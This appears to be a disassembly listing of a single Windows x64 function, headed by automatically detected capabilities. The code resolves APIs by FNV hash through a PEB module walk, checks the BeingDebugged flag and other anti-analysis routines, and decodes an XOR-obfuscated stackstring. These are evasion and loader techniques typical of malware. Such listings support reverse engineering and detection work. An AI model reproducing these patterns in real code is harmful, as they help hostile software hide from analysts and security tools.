Function at 0x140040bb0
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop dword [rax + rax]
mov r9, qword [r11 + 0x30]
xor ebp, ebp
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140040c58
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140040c58
mov edi, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0xe952c207
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140040c53
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140040c30
cmp edx, 0x6972e467
je 0x140040e56
test r8d, r8d
jne 0x140040c10
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x140040c6d
cmp qword [rax + 0x30], rbp
jne 0x140040be0
mov rax, rbp
call rax
test eax, eax
jne 0x140040cb6
call fcn.140040240
test eax, eax
jne 0x140040cb6
mov rax, qword gs:[0x60]
cmp byte [rax + 2], bpl
jne 0x140040cb6
call fcn.140040430
test eax, eax
jne 0x140040cb6
call fcn.1400405b0
test eax, eax
jne 0x140040cb6
call fcn.1400407b0
test eax, eax
jne 0x140040cb6
call fcn.1400409b0
test eax, eax
je 0x140040d64
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop dword [rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140040d48
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140040d48
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x4e23ea53
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140040d43
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140040d20
cmp edx, 0x74eb683
je 0x140040e72
test r8d, r8d
jne 0x140040d00
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x140040d5d
cmp qword [rax + 0x30], rbp
jne 0x140040cd0
mov rax, rbp
xor ecx, ecx
call rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop dword [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140040df8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140040df8
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x3b5ca258
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140040df3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140040dd0
cmp edx, 0xe59f2b1a
je 0x140040e8e
test r8d, r8d
jne 0x140040db0
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x140040e0d
cmp qword [rax + 0x30], rbp
jne 0x140040d80
mov r8, rbp
mov dword [rsp + 0x2a], 0xc000c60
lea rax, [rsp + 0x20]
mov cl, listen
mov dword [rsp + 0x26], 0x60682260
mov dword [rsp + 0x22], 0x60486965
mov word [rsp + 0x20], 0x6e5f
nop word [rax + rax]
xor byte [rax], cl
inc rax
lea rcx, [rsp + 0x2c]
cmp rax, rcx
je 0x140040eab
movzx ecx, byte [rsp + 0x2d]
jmp 0x140040e40
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140040c70
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140040d60
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
jmp 0x140040e10
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x2c], 1
call r8
test rax, rax
je 0x140040f74
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop dword [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140040f58
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140040f58
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x28672e75
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140040f53
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140040f30
cmp edx, 0x4d3079f5
je 0x14004100c
test r8d, r8d
jne 0x140040f10
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x140040f6d
cmp qword [rax + 0x30], rbp
jne 0x140040ee0
mov rax, rbp
xor ecx, ecx
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140041007
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140041007
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xaac45755
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140041002
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140040fe0
cmp r8d, 0xf1dc7311
je 0x140041028
test r9d, r9d
jne 0x140040fc0
mov rax, qword [rax]
jmp 0x140040f90
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140040f70
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
test eax, eax
je 0x1400410f4
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1400410d8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400410d8
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x3408c1c0
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400410d3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1400410b0
cmp edx, 0xa18ffd90
je 0x1400411ab
test r8d, r8d
jne 0x140041090
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x1400410ed
cmp qword [rax + 0x30], rbp
jne 0x140041060
mov rax, rbp
xor ecx, ecx
call rax
call fcn.140040120
test al, al
je 0x1400411e2
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop dword [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140041194
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140041194
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0xfad3e780
lea rax, [r9 + r8*4]
mov ecx, dword [rax + rdi]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14004118f
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140041170
cmp edx, 0x745ba050
je 0x1400411c7
test r8d, r8d
jne 0x140041150
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x1400411de
cmp qword [rax + 0x30], rbp
jne 0x140041120
jmp 0x1400411de
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x1400410f0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov ebp, dword [rcx + rdx*4]
add rbp, r9
xor ecx, ecx
call rbp
mov rbx, qword [rsp + 0x40]
xor al, al
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret